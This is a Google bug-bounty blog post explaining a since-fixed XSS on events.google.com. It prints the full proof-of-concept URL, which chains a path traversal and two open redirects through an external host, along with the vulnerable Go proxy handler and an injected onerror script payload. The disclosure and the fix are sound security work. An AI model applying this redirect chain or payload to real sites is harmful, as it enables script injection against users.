Open redirects that matter

Google’s Vulnerability Rewards Program receives reports mentioning open redirects on a fairly regular basis. While they aren’t considered security flaws in and of themselves, we recognize that open redirects may be used to exploit other vulnerabilities like XSS or OAuth token disclosure.

That’s exactly what happened with an interesting vulnerability report sent to us recently by Tomasz Bojarski. Tomasz, coming from a little town in Poland, joined our Vulnerability Rewards Program in 2013, and now considers it a life-changing event. He hunts bugs mostly for the sheer enjoyment - that said, he’s quite successful in this endeavor and is currently #1 in our Hall of Fame.

He used not one, but two redirects to trigger an XSS on events.google.com.

Tomasz’s report was refreshingly brief:

Hey there :)

Have got a nice XSS for your in events.google.com

Proof of Concept:

https://events.google.com/io2015/api/v1/photoproxy?url=https%3A%2F%2Fpicasaweb.google.com%2fdata%2Ffeed%2Fapi%2F..%2f../../bye/%3fcontinue=https%3A%2F%2Fwww.google.com%2Famp/woops-pocs.appspot.com?xss

Cheers
Tom

Clicking the URL prompted an alert from events.google.com, so it was quite obvious that Tomasz had indeed found a valid XSS on a non-sandboxed Google domain. The payload embedded multiple URLs, one of them pointing to an external woops-pocs.apppot.com domain. The exploit consisted of multiple steps - let’s explore each in detail:

Step 1: Photoproxy in the Google I/O 2015 website

For his exploit, Tomasz chose a site containing photos from a past Google I/O event. These photos were retrieved using the Picasa Web Albums XML feed. However, as this XML feed is served from a different domain (picasaweb.google.com) and does not use CORS headers, the Same Origin Policy prevents the web application from reading it.

So, the Google I/O team used a workaround to display the photos. The website included a /api/v1/photoproxy server-side handler that could fetch a URL passed in a parameter and proxy the HTTP response. This way, the application could send a same-origin XMLHttpRequest to /api/v1/photoproxy?url= to access the feed. The Google I/O 2015 website is open-sourced, so you can see for yourself how this was implemented.

Of course, serving arbitrary URL contents under your domain will immediately cause an XSS - so, the server made the following check before proceeding:

url := r.FormValue("url")
if !strings.HasPrefix(url, "https://picasaweb.google.com/data/feed/api") {
	writeJSONError(c, w, http.StatusBadRequest, "url parameter is missing or is an invalid endpoint")
	return
}

This check was intended to ensure that only “trusted” Picasa feeds could be proxied. However, the check can be bypassed easily if a cross-domain redirect endpoint exists in https://picasaweb.google.com.

Did one exist? Of course :)

Step 2: Redirect from picasaweb.google.com to google.com

Tomasz started by choosing a known redirect endpoint: https://picasaweb.google.com/bye?continue=. To bypass the prefix check, he used this simple path traversal trick: while the https://picasaweb.google.com/data/feed/api/../../../bye string starts with https://picasaweb.google.com/data/feed/api, when the request to this URL is sent, the URL is normalized to https://picasaweb.google.com/bye. Exactly what he needed.

But wait - there’s another restriction. The redirect from the continue parameter value is not fully open, as it needs to point to one of the Google domains (e.g. www.google.com). In order to serve arbitrary content, Tomasz needed to find an open redirect on www.google.com and chain it.

Step 3: Open redirect on www.google.com

www.google.com contains a few open redirects - and the newest one is related to AMP:

https://www.google.com/amp/<url-without-the-protocol> 

(Caveat for those trying at home - this redirect won’t work on mobile browsers).

Chaining these two redirects results in a URL that starts in the Picasa origin, but ends in an arbitrary domain:

https://picasaweb.google.com/data/feed/api/../../../bye/?continue=https%3A%2F%2Fwww.google.com%2Famp/your-domain.example.com/path?querystring

At this point, we’re ready to send a request to https://events.google.com/api/v1/photoproxy that will fetch a URL from an arbitrary domain. So how do you turn it into an XSS? Let’s take a look at the request handler.

func servePhotosProxy(w http.ResponseWriter, r *http.Request) {
	c := newContext(r)
	if r.Method != "GET" {
		writeJSONError(c, w, http.StatusBadRequest, "invalid request method")
		return
	}
	url := r.FormValue("url")
	if !strings.HasPrefix(url, "https://picasaweb.google.com/data/feed/api") {
		writeJSONError(c, w, http.StatusBadRequest, "url parameter is missing or is an invalid endpoint")
		return
	}
	req, err := http.NewRequest("GET", url, nil)
	if err != nil {
		writeJSONError(c, w, errStatus(err), err)
		return
	}


	res, err := httpClient(c).Do(req)
	if err != nil {
		writeJSONError(c, w, errStatus(err), err)
		return
	}


	defer res.Body.Close()
	w.Header().Set("Content-Type", "application/json;charset=utf-8")
	w.WriteHeader(res.StatusCode)
	io.Copy(w, res.Body)
}

As you can see from the Go function above, the server will try to fetch the content from a given URL and output the response body (io.Copy). If the attacker can convince the browser to render the response as an HTML document, every JavaScript code contained there will run in the context of events.google.com. A straightforward XSS.

However, to prevent MIME sniffing vulnerabilities, the server specifies an application/json Content-Type that stops modern browsers from interpreting the response as HTML.

Tomasz found a clever trick to bypass this control. You’ll notice that the Content-Type header is only emitted when the response is successfully fetched. In the event of an error, the writeJSONError function is called instead.

Step 4: XSS via error handling

WriteJSONError sets the 5xx status code, and outputs the error message in a JSON object. But because the function doesn’t emit a Content-Type header, MIME sniffing will kick in. In brief, upon receiving a typeless HTTP response, a browser will try to detect an HTML snippet and if it finds one, it will render the response as an HTML document, enabling XSS.

In order to trigger XSS on events.google.com, Tomasz needed to ensure the outputted error message contains HTML code, which, as it turns out, is pretty easy to do:


When Photoproxy reaches Tomasz’s web application, he redirects the HTTP client to an invalid URL containing the HTML code, triggering an error in Go’s HTTP client. This prompts the PhotoProxy endpoint to output the following JSON:

{"error": "Get http://woops-pocs.appspot.com: failed to parse Location header \"//><img src=x onerror='alert(document.domain)'\": parse //><img src=x onerror='alert(document.domain)': invalid character \" \" in host name"}

The browser interprets this JSON as HTML and executes the embedded JavaScript code, triggering the XSS:

Well done, Tomasz!

The fix and takeaways

Firstly, it turns out that PhotoProxy isn’t actually needed to retrieve photos from Picasa Web Albums. We also have a JSONP API available, which can be consumed by the client-side code easily. So, the Google I/O site switched to using the JSONP API and removed the PhotoProxy handler.

Secondly, Picasa Web has since been deprecated (for reasons unrelated to this vulnerability report), so the https://picasaweb.google.com/bye open redirect doesn’t work anymore.

Finally, while conducting a variant analysis, we found and fixed the same bug in Google’s I/O 2016 site. We also ensured that the writeJSONError function now emits the correct Content-Type: application/json header.

Final notes

Open redirects are super useful in bug chains, especially when used to bypass a prefix-based URL whitelist. We like them - and so should you! It’s also useful to set up your own server to respond with various invalid header values, as not everything can be tested using a tampering proxy alone. That’s a trick we see a lot of our best bughunters use.

The VRP panel decided to award $3,133.70 to Tomasz for finding this XSS vulnerability on events.google.com. A big thank you to Tomasz for helping us discover and fix this bug - and for helping to make Google safer for our users!

Posted by Krzysztof Kotowicz, Information Security Engineer